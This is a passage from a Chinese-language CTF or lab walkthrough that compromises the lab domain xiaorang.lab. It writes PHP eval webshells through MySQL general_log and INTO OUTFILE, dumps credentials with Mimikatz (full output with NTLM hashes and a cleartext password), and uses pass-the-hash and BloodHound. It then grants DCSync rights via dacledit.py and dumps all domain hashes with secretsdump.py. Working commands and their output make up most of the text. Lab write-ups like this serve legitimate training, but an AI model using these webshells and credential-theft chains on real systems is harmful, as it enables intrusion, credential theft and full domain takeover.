show variables like '%secure%';

-- 3. 启用全局日志(记录所有SQL操作)
set global general_log='On';

-- 4. 修改日志路径到Web目录(写入Webshell)
set global general_log_file='网站绝对路径/马子.php';

-- 5、 确认是否修改成功
show variables like '%general%';

-- 6. 触发日志写入(生成Webshell)
select '<?php eval($_POST[0]);?>';

查看下是否有写入权限,具体命令如下

1
show variables like "secure_file_priv";

接下来查看<font style="color:rgb(102, 102, 102);background-color:rgba(27, 31, 35, 0.05);">plugin</font>目录获取路径

1
show variables like "%plugin%";

获取到路径,接下来写入一句话木马

1
select "<?php @eval($_POST[1]);?>" into outfile "C:\\phpstudy_pro\\www\\shell.php"

flag04

writeDACL

新建用户

rdp上去好操作

上传Mimikatz进行密码搜集

1
2
3
privilege::debug
log 1.txt
sekurlsa::logonpasswords
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
Using '1.txt' for logfile : OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 5725786 (00000000:00575e5a)
Session : RemoteInteractive from 2
User Name : hub
Domain : WIN-HAUWOLAO
Logon Server : WIN-HAUWOLAO
Logon Time : 2025/6/19 23:56:08
SID : S-1-5-21-2057596273-973658165-3030246172-1000
msv :
[00000003] Primary
* Username : hub
* Domain : WIN-HAUWOLAO
* NTLM : 38fe728ae616f0fde13715e7c320685f
* SHA1 : 427861230263a91aefd081d4aa85c45da2a5ba8e
tspkg :
wdigest :
* Username : hub
* Domain : WIN-HAUWOLAO
* Password : (null)
kerberos :
* Username : hub
* Domain : WIN-HAUWOLAO
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 5703234 (00000000:00570642)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/6/19 23:56:08
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* NTLM : bf2d6fa7f20d770c21b5ad7be7b930f2
* SHA1 : 58b99cbb76c79084f8cfa182291219633fc74d60
tspkg :
wdigest :
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN-HAUWOLAO$
* Domain : xiaorang.lab
* Password : 4b 75 56 4f 1b 41 9b 9a a9 5f 4e 4c 6c e5 03 89 f4 c3 00 94 2f f5 21 eb 85 6c 71 b2 d0 6d a0 fe 30 95 d7 74 0f ad 0f 22 29 82 61 5a a2 7f 59 e1 d0 69 0e ec d9 97 ab f2 f3 25 69 12 fb b5 2b f5 a5 7d c6 43 35 61 1b b4 4e 70 3d b7 e0 28 45 26 0f db 35 a2 12 ca 44 29 36 60 3f 24 1b 90 48 65 04 b4 6a c8 54 97 f1 de e9 2d 93 6a 06 52 8a ce 2e 34 52 53 51 e7 c8 3d 11 90 e2 97 2e 58 8b cd 4d 50 4b fb 4d 14 8b e3 15 ae ce ae 07 b2 ea a1 30 d0 01 24 df 0f 57 d6 1f 5f 78 6d fd bc 66 8b cf 07 cd a6 d8 33 30 73 cb 03 2d 7d 26 1a f8 06 83 42 0a 00 2e ac d9 d9 01 f5 5b 97 3c 55 62 d7 9c 4d 4f 9c d2 23 6a 85 92 25 55 bf e7 82 c4 74 08 05 2a a9 c5 78 02 4e ff 86 7c d5 bf 56 8e bb eb b9 26 52 a5 e6 f1 af 16 35 ba 78 20 d0 2f 93
ssp :
credman :

Authentication Id : 0 ; 229811 (00000000:000381b3)
Session : Service from 0
User Name : chenglei
Domain : XIAORANG
Logon Server : WIN-DC
Logon Time : 2025/6/19 22:00:26
SID : S-1-5-21-3269458654-3569381900-10559451-1105
msv :
[00000003] Primary
* Username : chenglei
* Domain : XIAORANG
* NTLM : 0c00801c30594a1b8eaa889d237c5382
* SHA1 : e8848f8a454e08957ec9814b9709129b7101fad7
* DPAPI : 89b179dc738db098372c365602b7b0f4
tspkg :
wdigest :
* Username : chenglei
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : chenglei
* Domain : XIAORANG.LAB
* Password : Xt61f3LBhg1
ssp :
credman :

Authentication Id : 0 ; 229809 (00000000:000381b1)
Session : Service from 0
User Name : chenglei
Domain : XIAORANG
Logon Server : WIN-DC
Logon Time : 2025/6/19 22:00:26
SID : S-1-5-21-3269458654-3569381900-10559451-1105
msv :
[00000003] Primary
* Username : chenglei
* Domain : XIAORANG
* NTLM : 0c00801c30594a1b8eaa889d237c5382
* SHA1 : e8848f8a454e08957ec9814b9709129b7101fad7
* DPAPI : 89b179dc738db098372c365602b7b0f4
tspkg :
wdigest :
* Username : chenglei
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : chenglei
* Domain : XIAORANG.LAB
* Password : Xt61f3LBhg1
ssp :
credman :

Authentication Id : 0 ; 52708 (00000000:0000cde4)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/6/19 22:00:13
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* NTLM : b5cd3591a58e1169186bcdbfd4b6322d
* SHA1 : 226ee6b5e527e5903988f08993a2456e3297ee1f
tspkg :
wdigest :
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN-HAUWOLAO$
* Domain : xiaorang.lab
* Password : `k+hcEDFvtzoObj=>DvzxiNqwyEn;Eu-\zFVAh>.G0u%BqQ21FskHtJlW4)3is3V;7Iu)3B00kd1##IB'LLG6wSx6TR%m;`Nfr;;Hf8O'Szfl0Z=w+^,>0jR
ssp :
credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-HAUWOLAO$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2025/6/19 22:00:13
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* NTLM : bf2d6fa7f20d770c21b5ad7be7b930f2
* SHA1 : 58b99cbb76c79084f8cfa182291219633fc74d60
tspkg :
wdigest :
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : win-hauwolao$
* Domain : XIAORANG.LAB
* Password : 4b 75 56 4f 1b 41 9b 9a a9 5f 4e 4c 6c e5 03 89 f4 c3 00 94 2f f5 21 eb 85 6c 71 b2 d0 6d a0 fe 30 95 d7 74 0f ad 0f 22 29 82 61 5a a2 7f 59 e1 d0 69 0e ec d9 97 ab f2 f3 25 69 12 fb b5 2b f5 a5 7d c6 43 35 61 1b b4 4e 70 3d b7 e0 28 45 26 0f db 35 a2 12 ca 44 29 36 60 3f 24 1b 90 48 65 04 b4 6a c8 54 97 f1 de e9 2d 93 6a 06 52 8a ce 2e 34 52 53 51 e7 c8 3d 11 90 e2 97 2e 58 8b cd 4d 50 4b fb 4d 14 8b e3 15 ae ce ae 07 b2 ea a1 30 d0 01 24 df 0f 57 d6 1f 5f 78 6d fd bc 66 8b cf 07 cd a6 d8 33 30 73 cb 03 2d 7d 26 1a f8 06 83 42 0a 00 2e ac d9 d9 01 f5 5b 97 3c 55 62 d7 9c 4d 4f 9c d2 23 6a 85 92 25 55 bf e7 82 c4 74 08 05 2a a9 c5 78 02 4e ff 86 7c d5 bf 56 8e bb eb b9 26 52 a5 e6 f1 af 16 35 ba 78 20 d0 2f 93
ssp :
credman :

Authentication Id : 0 ; 24213 (00000000:00005e95)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/6/19 22:00:12
SID :
msv :
[00000003] Primary
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* NTLM : bf2d6fa7f20d770c21b5ad7be7b930f2
* SHA1 : 58b99cbb76c79084f8cfa182291219633fc74d60
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 5725815 (00000000:00575e77)
Session : RemoteInteractive from 2
User Name : hub
Domain : WIN-HAUWOLAO
Logon Server : WIN-HAUWOLAO
Logon Time : 2025/6/19 23:56:08
SID : S-1-5-21-2057596273-973658165-3030246172-1000
msv :
[00000003] Primary
* Username : hub
* Domain : WIN-HAUWOLAO
* NTLM : 38fe728ae616f0fde13715e7c320685f
* SHA1 : 427861230263a91aefd081d4aa85c45da2a5ba8e
tspkg :
wdigest :
* Username : hub
* Domain : WIN-HAUWOLAO
* Password : (null)
kerberos :
* Username : hub
* Domain : WIN-HAUWOLAO
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 5703211 (00000000:0057062b)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/6/19 23:56:08
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* NTLM : bf2d6fa7f20d770c21b5ad7be7b930f2
* SHA1 : 58b99cbb76c79084f8cfa182291219633fc74d60
tspkg :
wdigest :
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN-HAUWOLAO$
* Domain : xiaorang.lab
* Password : 4b 75 56 4f 1b 41 9b 9a a9 5f 4e 4c 6c e5 03 89 f4 c3 00 94 2f f5 21 eb 85 6c 71 b2 d0 6d a0 fe 30 95 d7 74 0f ad 0f 22 29 82 61 5a a2 7f 59 e1 d0 69 0e ec d9 97 ab f2 f3 25 69 12 fb b5 2b f5 a5 7d c6 43 35 61 1b b4 4e 70 3d b7 e0 28 45 26 0f db 35 a2 12 ca 44 29 36 60 3f 24 1b 90 48 65 04 b4 6a c8 54 97 f1 de e9 2d 93 6a 06 52 8a ce 2e 34 52 53 51 e7 c8 3d 11 90 e2 97 2e 58 8b cd 4d 50 4b fb 4d 14 8b e3 15 ae ce ae 07 b2 ea a1 30 d0 01 24 df 0f 57 d6 1f 5f 78 6d fd bc 66 8b cf 07 cd a6 d8 33 30 73 cb 03 2d 7d 26 1a f8 06 83 42 0a 00 2e ac d9 d9 01 f5 5b 97 3c 55 62 d7 9c 4d 4f 9c d2 23 6a 85 92 25 55 bf e7 82 c4 74 08 05 2a a9 c5 78 02 4e ff 86 7c d5 bf 56 8e bb eb b9 26 52 a5 e6 f1 af 16 35 ba 78 20 d0 2f 93
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/6/19 22:00:13
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 52689 (00000000:0000cdd1)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/6/19 22:00:13
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* NTLM : bf2d6fa7f20d770c21b5ad7be7b930f2
* SHA1 : 58b99cbb76c79084f8cfa182291219633fc74d60
tspkg :
wdigest :
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN-HAUWOLAO$
* Domain : xiaorang.lab
* Password : 4b 75 56 4f 1b 41 9b 9a a9 5f 4e 4c 6c e5 03 89 f4 c3 00 94 2f f5 21 eb 85 6c 71 b2 d0 6d a0 fe 30 95 d7 74 0f ad 0f 22 29 82 61 5a a2 7f 59 e1 d0 69 0e ec d9 97 ab f2 f3 25 69 12 fb b5 2b f5 a5 7d c6 43 35 61 1b b4 4e 70 3d b7 e0 28 45 26 0f db 35 a2 12 ca 44 29 36 60 3f 24 1b 90 48 65 04 b4 6a c8 54 97 f1 de e9 2d 93 6a 06 52 8a ce 2e 34 52 53 51 e7 c8 3d 11 90 e2 97 2e 58 8b cd 4d 50 4b fb 4d 14 8b e3 15 ae ce ae 07 b2 ea a1 30 d0 01 24 df 0f 57 d6 1f 5f 78 6d fd bc 66 8b cf 07 cd a6 d8 33 30 73 cb 03 2d 7d 26 1a f8 06 83 42 0a 00 2e ac d9 d9 01 f5 5b 97 3c 55 62 d7 9c 4d 4f 9c d2 23 6a 85 92 25 55 bf e7 82 c4 74 08 05 2a a9 c5 78 02 4e ff 86 7c d5 bf 56 8e bb eb b9 26 52 a5 e6 f1 af 16 35 ba 78 20 d0 2f 93
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN-HAUWOLAO$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2025/6/19 22:00:12
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : win-hauwolao$
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :

mimikatz #

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[00000003] Primary
* Username : WIN-HAUWOLAO$
* Domain : XIAORANG
* NTLM : bf2d6fa7f20d770c21b5ad7be7b930f2
* SHA1 : 58b99cbb76c79084f8cfa182291219633fc74d60


msv :
[00000003] Primary
* Username : chenglei
* Domain : XIAORANG
* NTLM : 0c00801c30594a1b8eaa889d237c5382
* SHA1 : e8848f8a454e08957ec9814b9709129b7101fad7
* DPAPI : 89b179dc738db098372c365602b7b0f4

记得关校园网(如果访问不了,有可能是wsl的原因,将此处调为一样试试)

1
bloodhound-cli.exe install

收集前先pth到机器用户先,这个机器用户在域内

1
sekurlsa::pth /user:WIN-HAUWOLAO$ /domain:XIAORANG.LAB /ntlm:bf2d6fa7f20d770c21b5ad7be7b930f2

使用BloodHound进行收集

1
SharpHound.exe -c all

点击upload两次,上传成功

可以看到WIN-HAUWOLAO有CHENGLEI的session(的确前面我们也抓取到了CHENGLEI的hash),而CHENGLEI属于ACL Admins 组,ACL Admins 组对 WIN-DC 具有 WriteDacl 权限

那么我们先给给chenglei去添加DCSync权限以进行DCSync攻击

1
python dacledit.py xiaorang.lab/chenglei -hashes :0c00801c30594a1b8eaa889d237c5382 -action write -rights DCSync -principal chenglei -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.13.6

DCSync攻击

然后进行

1
python secretsdump.py xiaorang.lab/chenglei@172.22.13.6 -hashes :0c00801c30594a1b8eaa889d237c5382 -just-dc-ntlm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
D:\red\内网\免杀工具包\免杀工具包\impacket-0.12.0\examples>python secretsdump.py xiaorang.lab/chenglei@172.22.13.6 -hashes :0c00801c30594a1b8eaa889d237c5382 -just-dc-ntlm
Impacket v0.9.23 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cb976ec1a1bf8a14a15142c6fecc540e:::
zhangwen:1104:aad3b435b51404eeaad3b435b51404ee:fa7d776fdfc82d3f43c9d8b7f5312d77:::
chenglei:1105:aad3b435b51404eeaad3b435b51404ee:0c00801c30594a1b8eaa889d237c5382:::
zhangtao:1106:aad3b435b51404eeaad3b435b51404ee:e786c4a4987ced162c496d0519496729:::
WIN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:bd5cd1d20449e073c6f3b535f328ad6a:::
WIN-HAUWOLAO$:1103:aad3b435b51404eeaad3b435b51404ee:bf2d6fa7f20d770c21b5ad7be7b930f2:::
[*] Cleaning up...

pth

1
2
3
4
5
6
7
8
9
C:\Users\Administrator\flag> type flag04.txt
d88888b db .d8b. d888b .d88b. j88D
88' 88 d8' `8b 88' Y8b .8P 88. j8~88
88ooo 88 88ooo88 88 88 d'88 j8' 88
88~~~ 88 88~~~88 88 ooo 88 d' 88 V88888D
88 88booo. 88 88 88. ~8~ `88 d8' 88
YP Y88888P YP YP Y888P `Y88P' VP

flag04: flag{60530789-b80e-4e40-8110-b22774fc7d69}